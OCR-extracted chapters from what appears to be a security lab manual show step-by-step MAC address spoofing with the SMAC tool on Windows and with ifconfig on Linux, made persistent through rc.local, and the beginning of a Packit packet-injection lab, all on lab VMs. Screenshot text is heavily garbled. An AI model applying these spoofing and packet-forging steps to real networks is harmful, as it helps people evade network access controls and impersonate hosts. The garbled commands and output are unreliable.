¥ Ovenmwite files without prompting About
Help

‘astartm ] @ =3 H CHDownloads|SMAC |[winzip self-Extractor - ... G Egl  si04pm

Somk 4
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The files will uncompress and a dialog box will appear. Click OK.

lows 2000 Professional - YMware Workstal

File Edt View WM Team Windows Help

nre |8 n

WinZip Self-Extractor - SMAC v1.Lexe 5‘
Ta urzip all fles in SMAC +1.1,2t2 to the specified Ur

folder press the Unzip buttan
cMemp 3 file(s) unzipped successfully Close |
¥ Overwite fes e
Cem
- ] Help

8H  Si4pM
Eemw

I Winzip Self-Extractor - S...

iaslartm @& = H £ \Downloads\SMAC

Change to the directory the files were uncompressed to. Double-click on
the Setup file to start the installation.

[ windows 2000 Professional - ¥Mware Workstation i —[o x|
File Edit ‘iew WM Team ‘Windows Help
nle & Gl [ =i

(3 Windows 2000 Profes: 4 rx

=15] x|

File Edit ‘View Favorkes Tools  Help

Gpack - = - (]| Qearch [hFolders (Bisory | B O X o | B
| Address ||j Ciitemp

e

Eetlpi  SETURLST SMAC

] o

temp

Select an item ko view its
description.

See also:

Iy Documents

My Network Places

My Computer

3 object(s) 1.96 MB [ my Computer

jﬁstartm ] @ 32 H C\temp
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Install the SMAC application with the default options. SMAC will install
and a dialog box will appear. Click OK.

Bl Windows 2000 Professional - ¥Mware Workstation
File Edit Y¥ew %M Team Windows Help

CETREEEEE ml_

(3 Windows 2000 Professional

SMAC 1.1 Setup

SMAC 1.1 Setup x|

SMAC 1.1 Setup was completed successhuly.

Bomw

The SMAC application will begin. In the lower-left corner of the application
the current MAC address of the computer is displayed.

Bl Windows 2000 Professional - ¥Mware Workstation
File Edit ¥ew %M Team Windows Help

-uu|_© & e Ea

2000 Professional

Active MAC
o 095

I¥ Show Only Active Network Adapters
New Spoofed MAC Address Update AL Refresh

[ A Remove MAC Exit

Spooted MAC Address
=

KLC CONSULTI INC
Active MAC Addiess www. k1cconsulting. nat/smac

00-DC-29-B6-40-95 |

Disclaimer: Use this program at your ovn fisk. Ve are not respansible for any damage that might oocur o our system _ This
program s not to be used for any ilagal or unethical purpose . o not use this program if you do not agree with this disclaimer

Hstart ||| 1] & <5 H Y SMAC 1.1 [WBEM On] 6:34PM
Eemw
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To verify the MAC address, bring up an MS-DOS prompt and ping a target.
In this example:

ping -t 172.16.1.40
The —t option instructs the ping utility to ping continuously until stopped.

] windnws 2000 Professianal - Weware Workstation = =181 =
Fie EdR Yew WM Toam Windowm Helo

sujregan e on

| (B wrerr systemaz,_ S SE exm

BEocms

ﬁ-t A& || Mgac 1) [WeEMon]

From the target machine bring up Ethereal (Lab 41) and start a sniffing session.
Catch a few packets and stop the sniffer. From the results, click to highlight one of
the captured, Internet Control Messenger Protocol (ICMP) packets and observe the
center area of FEthereal. From this, the source has a MAC address of
00:0¢:29:b6:40:95, which is identical to what the computer with SMAC has identified.

] Windnws P00 Server - Veware Woekstation = =181 =
Fie EdR Yew WM Toam Windowm Helo

sunjreBaneaoBs

Bl Edk Vew o Catue frehTe Qotstcs e

SEgoe o8 Re+»2F 8 [EBE Q@

Eder! jw|w|wl
Mo, T [semres | [ctexad b =
3 0.036870  172.16.1.40 172.16.1.43 IZMP - Echo (ping) reply
5§ 0.905132  172.16.1.43 172.16.1.40 IcMP  Echo (ping) request
& 0. 9051697 172.16.1.40 172.16.1.43 1cMP Echo Cping) reply
71.916631  172.16.1.43 172.16.1.40 IMP Echa (ping) request
B1.916710  172.16.1.40 172:16.1:83 TEMP  Echa (ping) reply
10 2,918299 172,16.1.43 172,16.1.40 IcMP Echa (ping) request
112 MBI 172.16.1.40 172016,1.43 MP Echo (ping) reply
13 5922847 172,161,453 172.16.1.40 IMP Echo (ping) request =
g | |

S Frame Z (74 bytes on wire, 74 Gyies captured)
Ethernet 1T, Src: Vieware_b6:40:95 (00:0c:29:b6:40:95), Dst: vmware_a3:ed:40 (00:0c129:a3:ed:40)
Incerner Protocol, Srer 172.16.1.43 (172.16.1.43), 0st: 172.16,1.40 (172,16.1.400

F Internet control Message Protecol

(000 00 O 70 a7 o4 50 00 0c G BG40 05 0B 00 45 00 .0, BT O | -
k10 00 3c 00 3d 00 U0 60 OL e0 10 ac 10 OL 2b ac 10 .<.- R

0020 0L 28 0B 00 3u 5< 02 00 Od 00 61 62 63 A4 A5 &6 (. - abeded

bioao 67 6R 69 6a Bb 6c 6d Ba &F 70 7: 7 76 ghifkimn apgretuy

K40 77 61 62 63 €4 65 €6 67 66 69 wabzdefg hi =
[l DOV AP~ 1 AL 1| B e CoOat 56 105 [P 22 0 22 Pt 0 Dvcs: 0

start| | (A E W @ IQW-M B cmmand Promot | Gigd  ewmm
=

BEcms
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Return to the SMAC computer and type a new “spoofed” address in the
Spoofed MAC Address block.

*Note: In order for SMAC to work correctly, you must enter a valid MAC address. It
does not have to be from the same manufacturer as the real NIC but must

be a valid NIC address.

T

File  About

ID__[ Active [ Spoofed [ Network Adapter [ 1P Addrecs [ Active MAC ]
0000 Yes Mo Whware Accelerated AMD P 17216143 000029664055

I¥ Show Dnly Active Network Adapters

New Spooted MAC Addizss Update MAC Fiefresh
00 =] 0c = 29 =BG |=[ 40 ~f 10] x| Fiemove MAD Exit

Spoofed MAC Address
=]
KLC CONSULTING, INC

Aotive MAC Addiess www. k1cconsulting. net/smac
00-0C-28-B6-40-95

ID\;c\a\mu owin sk, for any damage 10 your spstem. This
any ilegal o

iﬁstartm ] & =3 H U SMAC 1.1 [WBEM On] JEIR  easpn
Ecmw .




Spoofing w273

Click on the Update MAC address and the new spoofed MAC address will
appear in the lower-left corner of the application. Click the Exit button.
Restart the computer.

dows 2000 Professional - ¥Mware Workstation

Fle Edit View WM Team ‘Windows Help

Active MaC

¥ Show Only Active Network Adapters
New Spoofed MAC Address Update ML Refresh
00 g uc f 29 g Ba figf 40 o 10 2 Femove MAC Exit
Spoofed MAC Addiess
00-0C-29-B6-40-10 |
KLC CONSULTING, INC
Active MAC Address werw. k1cconsul net/smac

00-0C-29-B6-40-95 A

I Disclaimer
I

ovinisk. for any damrage that mi to yeur system. This
any ilegalor i

iﬂﬁlartm & =3 H ' SMAC 1.1 [WBEM On] @8 eaepm

Eemw

Once the computer has rebooted, open the SMAC address. Notice the
“spoofed” address is now the active MAC address for the computer.

B} Windows 2000 Professional - ¥Mware Workstation

File Edt View WM Team Windows Help

I¥ Show Driy Active Network Adapters

New Spoofed MAC Address Update MaC Refresh
00 i oc [ 23 5 86 [ 40 5 10 )| Reniove MAC Exit
Spoofed MAC Address
00-0C-23-86-40-10

KLC CONSULT INC
Active MAC Address www_k1cconsulting. net fsmac

00-0C-25-B6-40-10 -]

ﬁsc\amv- sk to your system. This
gl programif

dhstart||| (] @& =3 || B cwntisystenaziend.. | [ smac 1.1 (weemMon] EETn

Eomk ~
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Bring up an MS-DOS prompt and repeat the ping command against a target.

Bl Windows 2000 Professional - ¥Mware Workstation -101 %]

File Edit View VM Team ‘Windows Help

nregenBE o8

Microsoft Windows 20060 [Ue: on 5.808.21951]
<G> Copyright 1985-2808 Microsoft Corp.

C:\>ping —t 172.16.1.48@
Pinging 172.16.1.40 with 32 hytes of data:
Reply £rom 172.16.1.48: bytes=32 tine<ifns
Reply Erom 16.1.48: hytes=12 tine{id

Reply from 32 time<i6 TTL=128
Reply from 161 32 time<i6 TTL=128

for any illagal or D ot uz this program if you de not 3gree with this disclaimer.

Hstart ||| @) @ 1 ||[@cwinTsystemazy.. fmac 1t fweemon] | BB GtEn
Ecm .

From the target computer, repeat the Ethereal test as above. From the
results, the source has a MAC address of 00:0¢:29:b6:40:10, which is identical
to what the “spoofed” MAC address should be according to SMAC.

dows 2000 Server - YMware Workstation =10 x|

File  Edt view M Team ‘Windows Help
nire|sae

i He & Wn Ha .l b Gy windows 2000 Server [T Ty «
@ cd ca BEE

WEeE SPHx@8 ResT2[IE QAQ

eer: [ < Emesmsin | gleerl fpply |

Mo Time Source Destinstion Protocal | Info =]
2 0.000016  172.16.1.40 172.16.1.49 ICMP  Echo (ping) reply
4 0.921665 IR LG LAY 172.16.1.40 ICMP Echo (ping) reguest
5 0.921735  172.16.1.40 172.16.1.40 1cMP  Echo (ping) reply J
7 1.962445 172.16.1.45 172.16.1.40 ICMP  Echo (ping) request
8 1.062516  172.16.1.40 172.16.1.49 ICMP  Echo (pingd reply
10 2.934114 172.16.1.49 172.16.1.40 IcMP Echo Cping) reguast
11 2.93418%  172.16.1.40 172.16.1.49 ICMP  Echo (ping) reply
13 3.534481 AF2TAETLED 172.16.1.40 ICMP Echo (ping) reguest LI
< | i

[ Frame 1 (74 bytes on wire, 74 bytes captured)

= Ethernet 11, Src: Vmware_h6:40:10 (00:0c:29:b6:40:100, Dst: vmware_aZ:ed:40 (00:0c:29:a3:e4:407)
= Internet Protocol, Src: 172.16.1.49 (172.16.1.49), Dst: 172.16.1.40 (172.16.1.40)

@ Internet Control Message Protocol

Q0G0 00 OC 29 a3 &4 40 00 Oc 29 b6 40 10 08 00 45 00 L.J)..@, 0.8, .. E. =
00L0 00 3c 00 32 00 00 B0 01 &0 15 ac 10 01 31 ac 10 RiZiaiy A S
0020 01 28 03 00 37 5c 02 00 14 00 61 62 63 64 &5 66 (LT L ahodef
0030 67 68 69 6a 6b 6¢c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opgrstuw
o040 77 AL 62 63 64 65 66 67 68 69 wahcdefy hi LI

File: "C\DOCUME~1{ADMINI~1{L OCAL 51| Temp| etherkKital1 186" 43C [P: 51 D: 5L M: 0 Drops: 0

iiﬁlartm HES@E L H @ (untitled) - Ethereal B Command Prompt | EEY sezem
Eocml
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Because SMAC allows for reboots it must provide a way to release the
“spoofed” MAC address to return to normal. The “spoofed” MAC address will
disappear in the lower-left corner of the application.

Click the Exit button. Reboot the computer.

(e — o
File Edit ‘iew WM Team ‘Windows Help
nfre e n oE 2m

(3 Windows 2000 Professior

SMAC 1.1 [WBEM On] ]

File  About

IP Address
| 17216140

I Show Driy Active Netuork Adapters

Mew Spoofed MAC Address Update MAC Refresh
- - 3 - EO- KO - Femave HAC Exit

Spoofed MAC Address
|
KLC CONSULTIN NC
Ative MAC Addess www. k1cconsulting. net fsmac

00-0C-28-B6-40-10 |

[prsolaimer: awnisk toyour system. This
I

 llegal or programif

start||| (o] @ =3 || BICwnTisystemaziend.. | [ smac 1.1 (weEMon] Y@ sezpm
Somk 4

Once the computer has rebooted, open the SMAC address. Notice the
active MAC address is the actual MAC address of the computer.

1 o 2000 st - wwnare Workstation
File Edt View WM Team Windows Help
LR R Rl ol = im] =]

(3 Windows 2000 Professior

I¥ Show Dnlp Active Network Adapters

New Spooted MAC Addiess Update MAC Refizsh
l_'l__l_',_'l__l_ﬂ Remove MAC Exit

Spoofed MAC Address

s

=l KLC CONSULTING, INC
Active MAC Addiess www.k1cconsulting. net/smac
00-0C-28-B6-40-95

ID\;c\a\mu owin sk, for any damage 1o your spstem. This
any ilegal o

iastartm o & =3 H W SMAC 1.1 [WBEM On]  BCHWINNT|Systemaziemd. . $rEigl  serPm
Eomw .
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To verify the change repeat the ping process.

B Windows 2000 Professional - ¥Mware Workstation

‘F\Ie Edt View ¥M Team ‘Windows Help

Micr ft Windows 2008 [Ue on 5. 21951
<C> Copyright 1985-2088 Microsoft Cow
C:\>ping —t 172.16.1.40

time<{1Bms
time<16:
time<16,
time<i@ms
2 time<iBms
time<iBms

any llegalor

;ﬂslartl“ ] @& £ H 4 SMAC 1.1 [WBEM On] | B C:\WINNT System32...

Eoml

From the target computer, repeat the Ethereal test as above. From the results,
the source has a MAC address of 00:0c:29:b6:40:95, which is the real MAC address
of the SMAC computer.

windows 2000 Server - YMware Workstation —o] x|

Fle Edit View WM Team ‘Windows Help

RN e

E x E ) Windows 2000 Server
{@ (Untitled) - Ethereal

Fle Edt Yew Go Copture Anahzs  Stetistics Help

BEgee @8 Re+s»TFL[EE QaQ

Fileer: J Expression... | ;Iearl Apply |
o | Time | Source | Destinstion | Protacal | Infa E]
S L.Aneaas 17 T3 ] ECho (ping) reguest
3 0.455525 S1E7 PR 172.16.1.43 ICMP  Echo (ping) reply
5 1.266857 172.16 172.16.1.40 IcmP Echo (ping) request
6 1.266964 AL 172.16.1.43 cmp Echo (ping) reply
8 2.288208 s G, 1L, 172.16.1.40 IcMP  Echo Cping) reguast
9 2.288274 A AL, 172.16.1.43 IcmMP  Echo Cping) reply
12 3.250267  172.16.1. 172.16.1.40 ICMP  Echo (ping) request
13 3.250385 -G 172.16.1.43 ICMP  Echo (ping) reply
16 4.301188 L7700 A e 172.16.1.40 IcmP Echo (ping) request Rl
| | |

@ Frame 2 (74 bytes on wire, 74 bytes captured)

[ Ethernet II, sSrc: Wmware b6:40:95 (00:0¢:29:b6:40:55), DST: Vimware_a3:e4:40 (00:0c:29:a3:e4:40])
© Internet Protocol, Src: 172.16.1.43 (172.16.1.43), Dst: 172.16.1.40 (172.16.1.40)

@ Internet Control Message Protocol

0000 00 OC 29 a3 e4 40 00 Oc 29 b6 40 95 OB 00 45 00 LJ..B J.8..LE. |
0010 00 3c 00 3f 00 00 80 Ol e0 Qe ac 10 01 2h ac 10 e T et
0020 01 28 08 00 38 5c 02 00 13 00 &1 62 63 64 65 66 0.8\, ..abcdef
0030 67 68 69 6a 6b 6cC 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opgrstuw
0040 7 6l 62 63 64 65 66 67 68 69 wahcdefy hi =

File: "C\DOCUME~1ADMINI~1|L OCAL w1\ Temp| etherkKitxal1696" 261 [P: 31 D: 3L M: 0 Drops: 0

iﬂﬁlartm HEe s #E = H @ (untitled) - Ethereal B Command Prompt | @EY  seapm
Eoml

*Note: Before SMAC came around, the best choice to spoof a MAC address was to use
a Linux-based tool. SMAC is an excellent tool to spoof a Windows MAC address.
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Lab 50: Spoofing MAC Addresses ﬁ
Send Packets via a False MAC Address: Linux 2<%

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: Linux has the ability to “spoof” its own MAC address. This
lab will demonstrate how to “spoof” your MAC with Linux and have
that same “spoofed” MAC address occur on each reboot automatically.
Remember that all commands in Linux are case sensitive.

Procedure: Set the parameters and execute:

ifconfig (interface name) hw ether (spoofed MAC address)

From a Linux terminal type ifconfig and press the Enter key. The current
Ethernet configuration will be displayed, including the MAC address. In this
example:

00:0c:29:4e:1le:cd

88 ce ot L —vmore workstoton —————————
File Edit View WM Team ‘Windows Help
njire BGhk Ea ®m

—ioix|

{53 Red Hat Linux

File Edit View Termina Go Help

[root@localhost tools]# ifconfig

etho Link encap:Ethernet HWaddr 00:0C:29:4E:1E:CD
inet addr:172.16.1.45 Bcast:172.16.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:2084 errors:0 dropped:0 overruns:0 frame:0
TX packets:379 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:398922 (389.5 Kb) TX bytes:56312 (54.9 Kb)
Interrupt:10 Base address:0xl10a4

1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1l
RX packets:9127 errors:0 dropped:0 overruns:0 frame:0
TX packets:9127 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:621011 (606.4 Kb) TX bytes:621011 (606.4 Kb)

[root@localhost toolsl# ||

SRS HeRElEE 0w

Eoml
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Verify the MAC address against a target by starting a ping command while
running Ethereal (Lab 41):

ping 172.16.1.40

Red Hat Linux - ¥Mware Workstation

Fle Edit View WM Team ‘Windows Help

Elle Edit view Terminal Go Help
[root@localhost tools]# ping 172.16.1.40
.16.1.40 (172.16.1.40) 56(84) bytes of data.

from 172.
from 172.
from 172.
from 172.
from 172.
from 172.
from

: iemp_seg=1 tt1=128 time=1.29 ms

: icmp_seg=2 tt1=128 time=0.242 ms
: icmp_seg=3 tt1=128 time=16.8 ns

: icmp_seg=4 tt1=128 time=0.285

: icmp_seg=5 tt1=128 time=0.

: icmp_seg=6 tt1=128 time=0.

: icmp_seg=7 tt1=128 time=0.

: icmp_seg=8 tt1=128 time=0.

: icmp_seg=9 tt1=128 time=0.

: icmp_seg=10 tt1=128 time=0.321 ms

from

i

B E

1

1

%

8 3

1

1

from 1
0 E

from

Men Nov 14
9:17 PM

Eemw

From the Ethereal application capture a few packets for verification. Click
to highlight an ICMP packet. In this example the results verified the original
MAC address of 00:0c:29:4e:1e:cd.

Bl Windows 2000 Server - ¥YMware Workstation =101 x|

File Edt View WM Team Windows Help

ws 2000 Server

Fle Edt Vew Go Captre Analyze Stetistics Help

BEEes b x@8

«»DFLEBEBQRQQ

eier: | ;I e~ | Qearl Epp\yl
Ho. Time Source - Destination Protocal | Info =]
40 7.146084 172.16.1.45 172.16.1.40 ICMP Echo (ping) reguest
33 5.867053 172.16.1.45 172.16.1.40 ICMP  Echo (ping) request
28 4.566823 s 4 172.16.1.40 IcmMP Echo Cping) reguast
23 3.373185 2. G, 1L, 172.16.1.40 IcMP  Echo Cping) reguast
18 2.172619 172.16.1.45 172.16.1.40 ICMP Echo (ping) reguest
11 1.068549 172.16.1.45 172.16.1.40 ICMP Echo (ping) reguest
6 0.578253 172.16.1.45 172.16.1.40 ICMP  Echo (ping) request
3 0.028820 172.16.1.45 172.16.1.40 ICMP  Echo (ping) reguest ~|
< | i

[ Frame 45 (98 bytes on wire, 08 bytes capturad)

D Ethernet 11, Src: Vmware_de:le:icd (00:0c:29:4e:le:icd), Dst: vmware_aZ:ed:40 (00:0c:29:a3:e4:40)
pestination: vimware_a3:ed:40 (00:0<:28:a3:84:40)
Source: Vmware_de:le:cd €00:0c:29:de:le:cd)
Type: IP (0x0BOO)

@ Internet Protocol, Src: 172.16.1.45 (172.16.1.45), Dst: 172.16.1.40 (172.16.1.40)

= Internet Control Message Protocol

0000 00 OC 29 a3 &4 40 00 0c 29 4e 1e <d 08 00 45 00
0010 00 54 00 00 40 00 40 0L 20 33 ac 10 01 2d ac 10
0020 01 28 08 00 dc 3 ed 0B 00 7h 8e 52 70 43 32 1f
0030 09 00 08 09 0a Ob Oc 0d Oe OFf 10 11 12 13 14 15
0040 16 17 18 19 la 1b 1c 1d 1e 1f 20 21 22 23 24 25

fncn  5e 57 52 3n 9m 3kh 9s 3A oA 9 50 51 55 33 34 5E  oirhie

File: "C\DOCUME~1{ADMINI~1|L OCAL 51| Temp| etherkKital1 188" 45C [P: 47 Dt 47 M: 0 Drops: 0

iﬂﬁlartm HE@E O H @ (untitled) - Ethersal B Command Prompt | @R susem
EomWw
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Disable the ethO NIC by typing ifconfig eth0 down.

Bl Red Hat Linux - YMware Workstation o [= 3]
File Edt View WM Team Windows Help

[ .root@localho

Eile Edit wiew Terminal Go Help
[root@localhost root]# ifconfig ethO down
[root@localhost rootl# ||

L caeehey T

Eomk -

In this example, the default MAC address was changed by typing:
ifconfig ethO hw ether 11:22:33:44:55:66

Bl Red Hat Linux - YMware Workstation
File Edt View WM Team Windows Help

(53 Red Hat Linwx |7}

Eile Edit wiew Terminal Go Help
[root@localhost root]# ifconfig ethO down
[root@localhost root]# ifconfig ethO hw ether 11:22:33:44:55:66.

Mon Nov 14
9:37 PM

Eomk ~
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Enable the ethO NIC by typing ifconfig ethO up.

Bl Red Hat Linux - YMware Workstation

File Edt View WM Team Windows Help

Eile Edit wiew Terminal Go Help
[root@localhost root]# ifconfig etho upf

AR HeQEE-E o

Eomk -

Verify on the Linux machine that the MAC address has changed by typing
ifconfig and pressing Enter. In this example, the results verify:

B The new MAC address has been changed to 11:22:33:44:55:66.

Bl Red Hat Linux - ¥Mware Workstation

File Edt View WM Team Windows Help
 0|r &

i

=10/

Eile Edit view Terminal Go Help

.[rnnt@hcalhnst root]# ifconfig

etho Link encap:Ethernet Hwaddr 11:22:33:44:55:66
inet addr:172.16.1.45 Bcast:172.16.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:6307 errors:0 dropped:0 overruns:0 frame:0
TX packets:916 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:B845858 (826.0 Kb) TX bytes:125798 (122.8 Kb)
Interrupt:10 Base address:Ox10ad

[2]

1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1l
RX packets:31853 errors:0 dropped:0 overruns:0 frame:0
TX packets:31853 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2171068 (2.0 Mb) TX bytes:2171068 (2.0 Mb)

[root@localhost root]# |

Q@ T A8 @ o

Eomw
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Repeat the ping process as above to validate the new results across the network.

Red Hat Linux - ¥Mware Workstation =101 x|

File Edt View WM Team Windows Help

MBI EEFIEEIEE

{53 Red Hat Linux

View Terminal Go Help
[root2localhost tools]# ping 172.16.1.40

.16.1.40 (172.16.1.40) 56(84) bytes of data.

from 172.16.1.40: icmp_seg=1 tt1=128 time=1.16 ms
from 172.16.1. icmp_seq=2 tt1=128 time=0.308 ms
from 172.16.1. icmp_seq=3 tt1=128 time=1.39 ms
from 172.16.1.40: icmp_seg=4 tt1=128 time=0.302 ms
from 172.16.1. iemp_seq=5 tt1=128 time=0.468 ms
from 172.16.1.40: icmp_seq=6 tt1=128 time=0.313 ms
from 172.16.1.40: icmp_seq=7 ttl=128 time=0.257 ms

QL HGgRAE o I

Eomw

Repeat the Ethereal process as above. In this example, the results:

B Verify that the new MAC address of 11:22:33:44:55:66 travels across
the network.

8 Windows 2000 Server - YMware Workstation - (O] x|

File Edit Yiew VM Team Windows Help

N ERE = =

(y Windows 2000 Server
@ (untitled) - Ethereal

Fle Edt View Go Capture Analyze  Statistics  Help

SEdeM CH*eE ResDF L [HE QQQ
Filter: \ ;I Expression.. |gear|gpp\y|

Ho. Time Source *

b

Destination Pratocal
77 16,1 TCHE

798267  Brdrbia e 4 172.16.

K p B I:
6. il 1.40 ICMP reguest
30 5.738783  172.16.1.45 172.16.1.40 ICHMP Cping) requast J
23 4.625100  172.16.1.45 172.16.1.40 ICHMP ¢ping) requast
18 3.537120  172.16.1.45 172.16.1.40 ICHP ¢ping) regquast
13 2.472549  172.16.1.45 172.16.1.40 ICHP ¢ping) reguest
81.449167  172.16.1.45 172.16.1.40 TP ¢ping) reguest
3 0.273652  172.16.1.45 172.16.1.40 IcMp ¢ping) reguest
41 7.839633  172.16.1.43 172.16.1.40 TP ¢ping) reguest -
< | i}

@ Frame 38 (98 hytes on wire, 98 bytes capturedy

= Ethernet II, sSrc: 11:22:33:44:55:66 (11:22:33:44:55:66), DsT: vmware_a3:e4:40 (00:0c:29:a3:e4:40)
pestination: vmware_a3:ed:40 (00:0c:29:a3:84:40)
Source: 11:22:33:44:55:66 (11:22:33:44:55:68)
Type: IP (0x0800)

@ Intermet Protocal, Sre: 172.16.1.45 (172.16.1.45), Dst: 172.16.1.40 (172.16.1.40)

@ Internet Contral Message Protocol

0000 00 OC 29 a3 e4 40 11 22 33 44 35 66 05 00 45 00 0B,

40 01 e0 33 ac 10 0L 2d ac 10 .7..@.@.
0020 01 28 08 Q0 d5 78 1c 09 00 23 &7 58 79 43 b8 bh
0030 02 00 083 0% 0a 0b Oc 0d Qe OF 10 11 12 13 14 15
0040 16 17 18 15 1a 1b 1c 1d le 1f 20 21 22 23 24 25 . =
nAsn 36 37 99 30 s 3k 3s 9d G9n 3F 50 21 39 53 e 38 ki,
File: "Cr\DOCLIME~1|ADMINI~1LOCALS~ 1 Temphether (ka0 612" 42¢ [P: 43 D: 43 M: 0Drops: 0

Hstart|| ) @ 3 @ 11 © ||[@untitied) Ethereal | B Conmand Prompt
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To automatically have the ethO NIC run with a “spoofed” MAC address open:
/etc/sysconfig/networking/devices/ifcfg-eth0

1Bl Red Hat Linux - ¥Mware Workstation B [= S

File Edit Yew %M Team ‘Windows Help

ENjrEe EGEEaM
[ Home
v | devices
lhd /elc/sysconfig/networking/devices/ifcfg-eth0 - gedit

(3 Red Hat Linux Il GEEE)

File Edit View Search Tools Documents Help

BD.06%e B R O W

E New Open Save Print Undo Redo Cut Copy Paste Find Replace

— jcons ¥
| ifcfg-etho x |

DEVICE=ethO
BOOTPROTO=dhcp |
ONBOOT=yes

Ln1l,Col.1 INS 4 Y

L ——
Yy o

Comw

Edit the BOOTPROTO=dhcp line to BOOTPROTO=none. Save and close
the file to prevent the ethO NIC from activating on boot.

B Red Hat Linux - ¥Mware Workstation B =

File Edt Yew %M Team ‘Windows Help

&y Redl st Linu

hd /etc/sysconfig/networking/devicesifcfg-eth0 (modified) - gedit 7 |
Eile Edit View Search Tools Documents Help

BD.0B e BB P QT

E New Open Save Print Undo Redo Cut Copy Paste Find Replace

v
" ifcfgethor % El |
DEVICE=ethO
BOOTPROTO=none|
ONBOOT=yes

Ln2, Col. 15 INS 4 Y.

RS |

Bemw
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Open the rc.local file for editing at: /etc/rc.d/rc.docal. Add the “spoofed”
MAC address by typing:

ifconfig eth0 hw ether 12:34:56:78:90:10

Edt Vew WM Team Windows el

WunreaanBa o8

Elr Edit Search  Joos  Documents  Help
BR.G@%eRD P 0 Y @
New Open Save Pt Unde Pode  Cut Copy PFaste Find Replace =
“ relocal® % s

#1/bin/sh
#

# This script will be executed "after® all the other init
scripts.

# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local
ifconfig eth hw ether 12:34:56:78:90:10

RSN

[S=] LTI

If the machine requires a DHCP connection to obtain an IP address:

B Type the line: /sbin/dhcped ethO
B Save and close the file

¥ ke 1ot Linus - Viware Workstation
| Fe Bt Vew W Toam Wnden Hep

R IR =

B3 etc e e Jocal - gedit

Ble Ed vew Seach fods Documens M
BE.Ue e =xDD Q& !
New Open Save Priet Undo Hedo it Copy Paste Find Replace o .|
“ rcdocal ¥

#!/bin/sh

#

# This script will be executed *after* all the other init
scripts.

# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local
ifeonfig eth0 hw ether 12:34:56:78:90:10
Sabin/dheped ethO

L9, Col 18 NG

ri%@Q@@ X ERC ®

Reboot the Linux machine and the new “spoofed” MAC address will now
be used.
*Note: Sometimes it is the simple things that work either the quickest or the best.

As for changing the MAC address in Linux, this way works as well as any
application; however, apparently this technique only works on eth0.
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Lab 51: Packet Injection/Capture/Trace
Send Packets via a False IP/MAC Address: Packit

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: Packit is a network-auditing tool. Tts value is derived from
its ability to customize, inject, monitor, and manipulate IP traffic. By
allowing you to define (spoof) all Transfer Control Protocol (TCP), User
Datagram Protocol (UDP), ICMP, IP, Address Resolution Protocol
(ARP), Reverse Address Resolution Protocol (RARP), and Ethernet
header options, Packit can be useful in testing firewalls, intrusion
detection systems, port scanning, simulating network traffic and gen-
eral TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP.
Remember that all commands in Linux are case sensitive.

Procedure: Compile, create, set parameters, and execute with the follow-
ing syntax:

Packet capture:

./packit -m capture [-cGHnvsX] [-1i interface] [—r|—w
file] expression

Packet injection:
./packit -m inject [-t protocol] [-aAbcCdDeFgGhHjJkK1Lm-
MnNoOpPgQrRsSTuUvwWxXyYzZ] [-1 interface]
Packet trace:
./packit -m trace [-cGHnvsX] [-i interface]
[-r|-w file] expression

From the directory containing the compressed files, type tar —zxvf packit-
1.0.tgz.
The files will uncompress into a new folder named packit-1.0.
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Change to the new directory by typing cd packit-1.0 and pressing Enter.
Configure the Packit application for the specific machine it is on by typing
./configure.

Bl Red Hat Linux - ¥Mware Workstation o =] 3

Fi= Edt View WM Tean Windows Hep
ujre @apRoal
[hd root@localho st~ /tools/packit/packit-1.0.
Eile Edit View Terminal Go Help

[root@localhost packit]# cd packit-1.0
[root@localhost packit-1.01# ./cunfjgurel

A& HgREE O e

Eom

Packit will configure for the specific machine.

B Red Hat Linux - ¥Mware Workstation

Fle Edt View ¥M Team ‘Windows Help

MR ENE N EE =]

ropi@ocalhost:~/tools/packitjpackit-1.0
Eile Edit WView Temminal Go Help

v

s mewes el [FEE) [5s
[ N S I B 1 ) |
[ o 8 [ G o L
RS VS VA YV N V|
Il 1.0

has been configured with the following options:

Host type : i686-pc-linux-gnu
Compiler 1 geo

Compiler flags 1 -g -02 -Wall

Linker flags H

Libraries : “lpcap -lpcap -lpcap -Inet
Binary : fusr/local/bin

Manual pages : /usr/local/man/

Injection support : yes

Capture support : yes

Enable debugging : no

jj(root@localhost packit-1.0]# |

Eom
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The next step is to create the executable by typing make and pressing Enter.

Bl Red Hat Linux - ¥Mware Workstation =10l x|

‘lee Edt View ¥M Team ‘Windows Help

Kit:

Eile Edit View Temminal Go Help

S i o

I SR ([ [ ||
I 120} iCeke lidiclt gl 1§ Iae
R VP . Y VO Y | W
(] 1.0

has been configured with the following options:

Host type : i686-pc-linux-gnu
Compiler H=(d

Compiler flags : —g 02 -Wall

Linker flags H

Libraries : -lpcap -lpcap -lpcap -lnet
Binary : /usr/local/bin

Manual pages : fusr/local/man/

Injection support 1 yes

Capture suppert : yes

Enable debugging : no

[root@localhost packit-1.0]# maksl

43l 8aa

0 Tue Nov 15
7.36 FM

Eom ~

The Packit application will be created.

Bl Red Hat Linux - ¥Mware Workstation

Fle Edt View ¥M Team ‘Windows Help
e & 1@ R

{3 Red Hat Linux

v

rool@localhost:-/tools/packiyjpack

File Edit View Teminal Go Help
2 -Wall -c "test -f 'print_capture.c' || echo './"’print_capture.c

source="print_injection.c' object="print_injection.o’' libtool=no %\
depfile=".deps/print_injection.Po' tmpdepfile='.deps/print_injection.TPo"
|depmode=gcc3 /bin/sh ../depcomp \

